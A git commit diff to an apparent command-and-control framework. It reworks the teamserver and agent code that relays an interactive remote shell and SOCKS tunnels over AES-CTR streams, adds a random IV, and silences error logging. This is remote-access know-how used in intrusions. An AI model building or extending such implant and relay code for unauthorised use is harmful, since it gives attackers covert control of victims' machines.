Terminal update

This commit is contained in:
Ralf
2025-05-28 11:45:33 +03:00
parent ba6af99e68
commit a7d5b07e00
12 changed files with 138 additions and 500 deletions
+51 -54
View File
@@ -1,15 +1,14 @@
package server
import (
"AdaptixServer/core/utils/krypt"
"context"
"encoding/base64"
"errors"
"fmt"
adaptix "github.com/Adaptix-Framework/axc2"
"github.com/gorilla/websocket"
"io"
"strconv"
"strings"
"sync"
)
func (ts *Teamserver) TsAgentTerminalCreateChannel(terminalData string, wsconn *websocket.Conn) error {
@@ -62,7 +61,9 @@ func (ts *Teamserver) TsAgentTerminalCreateChannel(terminalData string, wsconn *
agent: agent,
wsconn: wsconn,
}
terminal.ctx, terminal.ctxCancel = context.WithCancel(context.Background())
terminal.prSrv, terminal.pwSrv = io.Pipe()
terminal.prTun, terminal.pwTun = io.Pipe()
terminal.handlerStart, terminal.handlerWrite, terminal.handlerClose, err = ts.Extender.ExAgentTerminalCallbacks(agent.Data)
if err != nil {
@@ -73,24 +74,16 @@ func (ts *Teamserver) TsAgentTerminalCreateChannel(terminalData string, wsconn *
if err != nil {
return err
}
if taskData.TaskId == "" {
taskData.TaskId, _ = krypt.GenerateUID(8)
}
terminal.TaskId = taskData.TaskId
tunnelManageTask(agent, taskData)
ts.terminals.Put(terminalId, terminal)
agent.TunnelConnectTask.Put(taskData)
return nil
}
func (ts *Teamserver) TsAgentTerminalCloseChannel(terminalId string, status string) error {
_ = ts.TsTerminalConnClose(terminalId, status)
/// ToDo: send close Msg
return nil
}
@@ -100,18 +93,17 @@ func (ts *Teamserver) TsTerminalConnExists(terminalId string) bool {
return ts.terminals.Contains(terminalId)
}
func (ts *Teamserver) TsTerminalConnData(terminalId string, data []byte) {
func (ts *Teamserver) TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error) {
value, ok := ts.terminals.Get(terminalId)
if !ok {
return
return nil, nil, errors.New("terminal not found")
}
terminal, _ := value.(*Terminal)
go terminalDataToWebSocket(terminal, data)
return terminal.prSrv, terminal.pwTun, nil
}
func (ts *Teamserver) TsTerminalConnResume(agentId string, terminalId string) {
value, ok := ts.agents.Get(agentId)
if !ok {
return
@@ -124,7 +116,7 @@ func (ts *Teamserver) TsTerminalConnResume(agentId string, terminalId string) {
}
terminal, _ := value.(*Terminal)
go webSocketToTerminalData(agent, terminal)
relayWebsocketToTerminal(agent, terminal)
}
func (ts *Teamserver) TsTerminalConnClose(terminalId string, status string) error {
@@ -134,51 +126,56 @@ func (ts *Teamserver) TsTerminalConnClose(terminalId string, status string) erro
}
terminal, _ := value.(*Terminal)
terminal.ctxCancel()
terminal.wsconn.Close()
terminal.prSrv.Close()
terminal.pwSrv.Close()
terminal.prTun.Close()
terminal.pwTun.Close()
return nil
}
///
func sendTerminalTaskData(agent *Agent, terminalId int, taskData adaptix.TaskData) {
if taskData.TaskId == "" {
taskData.TaskId, _ = krypt.GenerateUID(8)
}
taskData.AgentId = agent.Data.Id
taskTunnel := adaptix.TaskDataTunnel{
ChannelId: terminalId,
Data: taskData,
}
agent.TunnelQueue.Put(taskTunnel)
}
func webSocketToTerminalData(agent *Agent, terminal *Terminal) {
var taskData adaptix.TaskData
for {
select {
case <-terminal.ctx.Done():
return
default:
_, data, err := terminal.wsconn.ReadMessage()
func relayWebsocketToTerminal(agent *Agent, terminal *Terminal) {
var closeOnce sync.Once
closeChannel := func() {
closeOnce.Do(func() {
_ = terminal.wsconn.Close()
taskData, err := terminal.handlerClose(terminal.TerminalId)
if err != nil {
taskData, _ = terminal.handlerClose(terminal.TerminalId)
terminal.ctxCancel()
} else {
taskData, _ = terminal.handlerWrite(terminal.TerminalId, data)
return
}
sendTerminalTaskData(agent, terminal.TerminalId, taskData)
}
tunnelManageTask(agent, taskData)
})
}
}
func terminalDataToWebSocket(terminal *Terminal, data []byte) {
terminal.mu.Lock()
defer terminal.mu.Unlock()
_ = terminal.wsconn.WriteMessage(websocket.BinaryMessage, data)
go func() {
for {
_, msg, err := terminal.wsconn.ReadMessage()
if err != nil {
break
}
_, err = terminal.pwSrv.Write(msg)
if err != nil {
break
}
}
closeChannel()
}()
go func() {
buf := make([]byte, 0x8000)
for {
n, err := terminal.prTun.Read(buf)
if err != nil {
break
}
if err := terminal.wsconn.WriteMessage(websocket.BinaryMessage, buf[:n]); err != nil {
break
}
}
closeChannel()
}()
}
+3 -3
View File
@@ -757,7 +757,7 @@ func handleTunChannelCreate(agent *Agent, tunnel *Tunnel, conn net.Conn) {
case TUNNEL_SOCKS4:
targetAddress, targetPort, err := proxy.CheckSocks4(conn)
if err != nil {
fmt.Println("Socks4 proxy error: ", err)
//fmt.Println("Socks4 proxy error: ", err)
return
}
taskData = tunnel.handlerConnectTCP(tunChannel.channelId, targetAddress, targetPort)
@@ -765,7 +765,7 @@ func handleTunChannelCreate(agent *Agent, tunnel *Tunnel, conn net.Conn) {
case TUNNEL_SOCKS5:
targetAddress, targetPort, socksCommand, err := proxy.CheckSocks5(conn)
if err != nil {
fmt.Println("Socks5 proxy error: ", err)
//fmt.Println("Socks5 proxy error: ", err)
return
}
if socksCommand == 3 {
@@ -778,7 +778,7 @@ func handleTunChannelCreate(agent *Agent, tunnel *Tunnel, conn net.Conn) {
case TUNNEL_SOCKS5_AUTH:
targetAddress, targetPort, socksCommand, err := proxy.CheckSocks5Auth(conn, tunnel.Data.AuthUser, tunnel.Data.AuthPass)
if err != nil {
fmt.Println("Socks5 proxy error: ", err)
//fmt.Println("Socks5 proxy error: ", err)
return
}
if socksCommand == 3 {
+2 -1
View File
@@ -126,7 +126,8 @@ type Terminal struct {
TaskId string
TerminalId int
agent *Agent
agent *Agent
wsconn *websocket.Conn
pwSrv *io.PipeWriter
+1 -1
View File
@@ -1093,7 +1093,7 @@ func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData ada
size := packer.ParseInt32()
if size-4 != packer.Size() {
fmt.Println("Invalid tasks data")
//fmt.Println("Invalid tasks data")
return outTasks
}
@@ -3,13 +3,10 @@ package functions
import (
"archive/zip"
"bytes"
"context"
"encoding/binary"
"errors"
"fmt"
"github.com/kbinani/screenshot"
"github.com/vmihailenco/msgpack/v5"
"gopher/utils"
"image/png"
"io"
"io/fs"
@@ -17,7 +14,6 @@ import (
"os"
"path/filepath"
"runtime"
"sync"
)
/// FS
@@ -397,100 +393,3 @@ func SendMsg(conn net.Conn, data []byte) error {
_, err := conn.Write(message)
return err
}
func RelayMsgToSocket(ctx context.Context, cancel context.CancelFunc, wg *sync.WaitGroup, src net.Conn, dst net.Conn, tunKey []byte) {
defer wg.Done()
procSrvRead := func(data []byte) []byte {
var inMessage utils.Message
recvData, err := utils.DecryptData(data, tunKey)
if err != nil {
return nil
}
err = msgpack.Unmarshal(recvData, &inMessage)
if err != nil {
return nil
}
var buffer bytes.Buffer
for _, obj := range inMessage.Object {
var command utils.Command
err = msgpack.Unmarshal(obj, &command)
if err != nil {
return nil
}
if command.Code == 1 {
cancel()
return nil
}
buffer.Write(command.Data)
}
return buffer.Bytes()
}
for {
select {
case <-ctx.Done():
return
default:
data, err := RecvMsg(src)
if err != nil {
cancel()
continue
}
processed := procSrvRead(data)
if processed != nil {
written := 0
for written < len(processed) {
w, err := dst.Write(processed[written:])
if err != nil {
cancel()
continue
}
written += w
}
}
}
}
}
func RelaySocketToMsg(ctx context.Context, cancel context.CancelFunc, wg *sync.WaitGroup, src net.Conn, dst net.Conn, tunKey []byte) {
defer wg.Done()
procSrvWrite := func(data []byte) []byte {
buf, err := utils.EncryptData(data, tunKey)
if err != nil {
return nil
}
return buf
}
buf := make([]byte, 10000)
for {
select {
case <-ctx.Done():
return
default:
n, err := src.Read(buf)
if err != nil {
cancel()
continue
}
processed := procSrvWrite(buf[:n])
if processed == nil {
continue
}
err = SendMsg(dst, processed)
if err != nil {
cancel()
continue
}
}
}
}
@@ -4,14 +4,10 @@
package functions
import (
"bytes"
"context"
"fmt"
"github.com/creack/pty"
"github.com/shirou/gopsutil/v4/process"
"github.com/vmihailenco/msgpack/v5"
"gopher/utils"
"net"
"os"
"os/exec"
"os/user"
@@ -193,97 +189,12 @@ func StopPty(Pipe any) error {
return src.Close()
}
func RelayMsgToFile(ctx context.Context, cancel context.CancelFunc, src net.Conn, dstPipe any, tunKey []byte) {
dst := dstPipe.(*os.File)
procSrvRead := func(data []byte) []byte {
var inMessage utils.Message
recvData, err := utils.DecryptData(data, tunKey)
if err != nil {
return nil
}
err = msgpack.Unmarshal(recvData, &inMessage)
if err != nil {
return nil
}
var buffer bytes.Buffer
for _, obj := range inMessage.Object {
var command utils.Command
err = msgpack.Unmarshal(obj, &command)
if err != nil {
return nil
}
if command.Code == 1 {
cancel()
return nil
}
buffer.Write(command.Data)
}
return buffer.Bytes()
}
for {
select {
case <-ctx.Done():
return
default:
data, err := RecvMsg(src)
if err != nil {
cancel()
continue
}
processed := procSrvRead(data)
if processed != nil {
written := 0
for written < len(processed) {
w, err := dst.Write(processed[written:])
if err != nil {
cancel()
continue
}
written += w
}
}
}
}
func RelayConnToPty(to any, from *cipher.StreamReader) {
pipe := to.(*os.File)
io.Copy(pipe, from)
}
func RelayFileToMsg(ctx context.Context, cancel context.CancelFunc, srcPipe any, dst net.Conn, tunKey []byte) {
src := srcPipe.(*os.File)
procSrvWrite := func(data []byte) []byte {
buf, err := utils.EncryptData(data, tunKey)
if err != nil {
return nil
}
return buf
}
buf := make([]byte, 10000)
for {
select {
case <-ctx.Done():
return
default:
n, err := src.Read(buf)
if err != nil {
cancel()
continue
}
processed := procSrvWrite(buf[:n])
if processed == nil {
continue
}
err = SendMsg(dst, processed)
if err != nil {
cancel()
continue
}
}
}
func RelayPtyToConn(to *cipher.StreamWriter, from any) {
pipe := from.(*os.File)
io.Copy(to, pipe)
}
@@ -4,14 +4,12 @@
package functions
import (
"bytes"
"context"
"crypto/cipher"
"fmt"
"github.com/creack/pty"
"github.com/shirou/gopsutil/v4/process"
"github.com/vmihailenco/msgpack/v5"
"gopher/utils"
"net"
"io"
"os"
"os/exec"
"os/user"
@@ -198,97 +196,12 @@ func StopPty(Pipe any) error {
return src.Close()
}
func RelayMsgToFile(ctx context.Context, cancel context.CancelFunc, src net.Conn, dstPipe any, tunKey []byte) {
dst := dstPipe.(*os.File)
procSrvRead := func(data []byte) []byte {
var inMessage utils.Message
recvData, err := utils.DecryptData(data, tunKey)
if err != nil {
return nil
}
err = msgpack.Unmarshal(recvData, &inMessage)
if err != nil {
return nil
}
var buffer bytes.Buffer
for _, obj := range inMessage.Object {
var command utils.Command
err = msgpack.Unmarshal(obj, &command)
if err != nil {
return nil
}
if command.Code == 1 {
cancel()
return nil
}
buffer.Write(command.Data)
}
return buffer.Bytes()
}
for {
select {
case <-ctx.Done():
return
default:
data, err := RecvMsg(src)
if err != nil {
cancel()
continue
}
processed := procSrvRead(data)
if processed != nil {
written := 0
for written < len(processed) {
w, err := dst.Write(processed[written:])
if err != nil {
cancel()
continue
}
written += w
}
}
}
}
func RelayConnToPty(to any, from *cipher.StreamReader) {
pipe := to.(*os.File)
io.Copy(pipe, from)
}
func RelayFileToMsg(ctx context.Context, cancel context.CancelFunc, srcPipe any, dst net.Conn, tunKey []byte) {
src := srcPipe.(*os.File)
procSrvWrite := func(data []byte) []byte {
buf, err := utils.EncryptData(data, tunKey)
if err != nil {
return nil
}
return buf
}
buf := make([]byte, 10000)
for {
select {
case <-ctx.Done():
return
default:
n, err := src.Read(buf)
if err != nil {
cancel()
continue
}
processed := procSrvWrite(buf[:n])
if processed == nil {
continue
}
err = SendMsg(dst, processed)
if err != nil {
cancel()
continue
}
}
}
func RelayPtyToConn(to *cipher.StreamWriter, from any) {
pipe := from.(*os.File)
io.Copy(to, pipe)
}
@@ -4,14 +4,10 @@
package functions
import (
"bytes"
"context"
"fmt"
"github.com/gabemarshall/pty"
"github.com/vmihailenco/msgpack/v5"
"golang.org/x/sys/windows"
"gopher/utils"
"net"
"os"
"os/exec"
"os/user"
@@ -225,97 +221,12 @@ func StopPty(Pipe any) error {
return src.Close()
}
func RelayMsgToFile(ctx context.Context, cancel context.CancelFunc, src net.Conn, dstPipe any, tunKey []byte) {
dst := dstPipe.(pty.Pty)
procSrvRead := func(data []byte) []byte {
var inMessage utils.Message
recvData, err := utils.DecryptData(data, tunKey)
if err != nil {
return nil
}
err = msgpack.Unmarshal(recvData, &inMessage)
if err != nil {
return nil
}
var buffer bytes.Buffer
for _, obj := range inMessage.Object {
var command utils.Command
err = msgpack.Unmarshal(obj, &command)
if err != nil {
return nil
}
if command.Code == 1 {
cancel()
return nil
}
buffer.Write(command.Data)
}
return buffer.Bytes()
}
for {
select {
case <-ctx.Done():
return
default:
data, err := RecvMsg(src)
if err != nil {
cancel()
continue
}
processed := procSrvRead(data)
if processed != nil {
written := 0
for written < len(processed) {
w, err := dst.Write(processed[written:])
if err != nil {
cancel()
continue
}
written += w
}
}
}
}
func RelayConnToPty(to any, from *cipher.StreamReader) {
pipe := to.(pty.Pty)
io.Copy(pipe, from)
}
func RelayFileToMsg(ctx context.Context, cancel context.CancelFunc, srcPipe any, dst net.Conn, tunKey []byte) {
src := srcPipe.(pty.Pty)
procSrvWrite := func(data []byte) []byte {
buf, err := utils.EncryptData(data, tunKey)
if err != nil {
return nil
}
return buf
}
buf := make([]byte, 10000)
for {
select {
case <-ctx.Done():
return
default:
n, err := src.Read(buf)
if err != nil {
cancel()
continue
}
processed := procSrvWrite(buf[:n])
if processed == nil {
continue
}
err = SendMsg(dst, processed)
if err != nil {
cancel()
continue
}
}
}
func RelayPtyToConn(to *cipher.StreamWriter, from any) {
pipe := from.(pty.Pty)
io.Copy(to, pipe)
}
+27 -10
View File
@@ -928,8 +928,10 @@ func jobTunnel(paramsData []byte) {
tunKey := make([]byte, 16)
_, _ = rand.Read(tunKey)
tunIv := make([]byte, 16)
_, _ = rand.Read(tunIv)
jobPack, _ := msgpack.Marshal(utils.TunnelPack{Id: uint(AgentId), Type: profile.Type, ChannelId: params.ChannelId, Key: tunKey, Alive: active})
jobPack, _ := msgpack.Marshal(utils.TunnelPack{Id: uint(AgentId), Type: profile.Type, ChannelId: params.ChannelId, Key: tunKey, Iv: tunIv, Alive: active})
jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TUNNEL, Data: jobPack})
jobMsg, _ = utils.EncryptData(jobMsg, encKey)
@@ -950,14 +952,12 @@ func jobTunnel(paramsData []byte) {
return
}
iv := tunKey
encCipher, _ := aes.NewCipher(tunKey)
encStream := cipher.NewCTR(encCipher, iv)
encStream := cipher.NewCTR(encCipher, tunIv)
streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn}
decCipher, _ := aes.NewCipher(tunKey)
decStream := cipher.NewCTR(decCipher, iv)
decStream := cipher.NewCTR(decCipher, tunIv)
streamReader := &cipher.StreamReader{S: decStream, R: srvConn}
ctx, cancel := context.WithCancel(context.Background())
@@ -1046,8 +1046,10 @@ func jobTerminal(paramsData []byte) {
tunKey := make([]byte, 16)
_, _ = rand.Read(tunKey)
tunIv := make([]byte, 16)
_, _ = rand.Read(tunIv)
jobPack, _ := msgpack.Marshal(utils.TermPack{Id: uint(AgentId), TermId: params.TermId, Key: tunKey, Alive: active, Status: status})
jobPack, _ := msgpack.Marshal(utils.TermPack{Id: uint(AgentId), TermId: params.TermId, Key: tunKey, Iv: tunIv, Alive: active, Status: status})
jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TERMINAL, Data: jobPack})
jobMsg, _ = utils.EncryptData(jobMsg, encKey)
@@ -1072,9 +1074,17 @@ func jobTerminal(paramsData []byte) {
return
}
encCipher, _ := aes.NewCipher(tunKey)
encStream := cipher.NewCTR(encCipher, tunIv)
streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn}
decCipher, _ := aes.NewCipher(tunKey)
decStream := cipher.NewCTR(decCipher, tunIv)
streamReader := &cipher.StreamReader{S: decStream, R: srvConn}
ctx, cancel := context.WithCancel(context.Background())
var cancelOnce sync.Once
cancelFn := func() { cancelOnce.Do(cancel) }
TERMINALS.Store(params.TermId, cancel)
defer TERMINALS.Delete(params.TermId)
var closeOnce sync.Once
closeAll := func() {
@@ -1093,16 +1103,23 @@ func jobTerminal(paramsData []byte) {
go func() {
defer wg.Done()
functions.RelayMsgToFile(ctx, cancelFn, srvConn, ptyProc, utils.SKey)
functions.RelayConnToPty(ptyProc, streamReader)
closeAll()
}()
go func() {
defer wg.Done()
functions.RelayFileToMsg(ctx, cancelFn, ptyProc, srvConn, tunKey)
functions.RelayPtyToConn(streamWriter, ptyProc)
closeAll()
}()
go func() {
<-ctx.Done()
closeAll()
}()
wg.Wait()
cancel()
}()
}
@@ -51,6 +51,7 @@ type TunnelPack struct {
Type uint `msgpack:"type"`
ChannelId int `msgpack:"channel_id"`
Key []byte `msgpack:"key"`
Iv []byte `msgpack:"iv"`
Alive bool `msgpack:"alive"`
}
@@ -58,6 +59,7 @@ type TermPack struct {
Id uint `msgpack:"id"`
TermId int `msgpack:"term_id"`
Key []byte `msgpack:"key"`
Iv []byte `msgpack:"iv"`
Alive bool `msgpack:"alive"`
Status string `msgpack:"status"`
}
+2 -2
View File
@@ -231,7 +231,7 @@ func (handler *HTTP) processRequest(ctx *gin.Context) {
html := []byte(strings.ReplaceAll(handler.Config.WebPageOutput, "<<<PAYLOAD_DATA>>>", string(responseData)))
_, err = ctx.Writer.Write(html)
if err != nil {
fmt.Println("Failed to write to request: " + err.Error())
//fmt.Println("Failed to write to request: " + err.Error())
handler.pageError(ctx)
return
}
@@ -241,7 +241,7 @@ func (handler *HTTP) processRequest(ctx *gin.Context) {
return
ERR:
fmt.Println("Error: " + err.Error())
//fmt.Println("Error: " + err.Error())
handler.pageError(ctx)
}
+30 -43
View File
@@ -90,6 +90,7 @@ type TunnelPack struct {
Type uint `msgpack:"type"`
ChannelId int `msgpack:"channel_id"`
Key []byte `msgpack:"key"`
Iv []byte `msgpack:"iv"`
Alive bool `msgpack:"alive"`
}
@@ -97,6 +98,7 @@ type TermPack struct {
Id uint `msgpack:"id"`
TermId int `msgpack:"term_id"`
Key []byte `msgpack:"key"`
Iv []byte `msgpack:"iv"`
Alive bool `msgpack:"alive"`
Status string `msgpack:"status"`
}
@@ -318,19 +320,17 @@ func (handler *TCP) handleConnection(conn net.Conn, ts Teamserver) {
ts.TsTunnelConnectionResume(agentId, tunPack.ChannelId, true)
iv := tunPack.Key
pr, pw, err := ModuleObject.ts.TsTunnelGetPipe(agentId, tunPack.ChannelId)
if err != nil {
goto ERR
}
blockEnc, _ := aes.NewCipher(tunPack.Key)
encStream := cipher.NewCTR(blockEnc, iv)
encStream := cipher.NewCTR(blockEnc, tunPack.Iv)
encWriter := &cipher.StreamWriter{S: encStream, W: conn}
blockDec, _ := aes.NewCipher(tunPack.Key)
decStream := cipher.NewCTR(blockDec, iv)
decStream := cipher.NewCTR(blockDec, tunPack.Iv)
decWriter := &cipher.StreamWriter{S: decStream, W: pw}
var closeOnce sync.Once
@@ -384,61 +384,48 @@ func (handler *TCP) handleConnection(conn net.Conn, ts Teamserver) {
ts.TsTerminalConnResume(agentId, terminalId)
ctx, cancel := context.WithCancel(context.Background())
pr, pw, err := ModuleObject.ts.TsTerminalGetPipe(agentId, terminalId)
if err != nil {
goto ERR
}
blockEnc, _ := aes.NewCipher(termPack.Key)
encStream := cipher.NewCTR(blockEnc, termPack.Iv)
encWriter := &cipher.StreamWriter{S: encStream, W: conn}
blockDec, _ := aes.NewCipher(termPack.Key)
decStream := cipher.NewCTR(blockDec, termPack.Iv)
decWriter := &cipher.StreamWriter{S: decStream, W: pw}
var closeOnce sync.Once
closeAll := func() {
closeOnce.Do(func() {
_ = conn.Close()
_ = pr.Close()
})
}
var wg sync.WaitGroup
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-ctx.Done():
return
default:
recvData, err = recvMsg(conn)
if err != nil {
cancel()
return
}
decData, err := DecryptData(recvData, termPack.Key)
if err != nil {
continue
}
ts.TsTerminalConnData(terminalId, decData)
}
}
io.Copy(encWriter, pr)
closeAll()
}()
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-ctx.Done():
return
default:
sendData, err = ModuleObject.ts.TsAgentGetHostedTasksTunnels(agentId, int(termPack.TermId), 0x1900000)
if err != nil {
break
}
if len(sendData) > 0 {
err := sendMsg(conn, sendData)
if err != nil {
cancel()
return
}
}
}
}
io.Copy(decWriter, conn)
closeAll()
}()
wg.Wait()
_ = ts.TsAgentTerminalCloseChannel(terminalId, "killed")
_ = conn.Close()
}
return
ERR: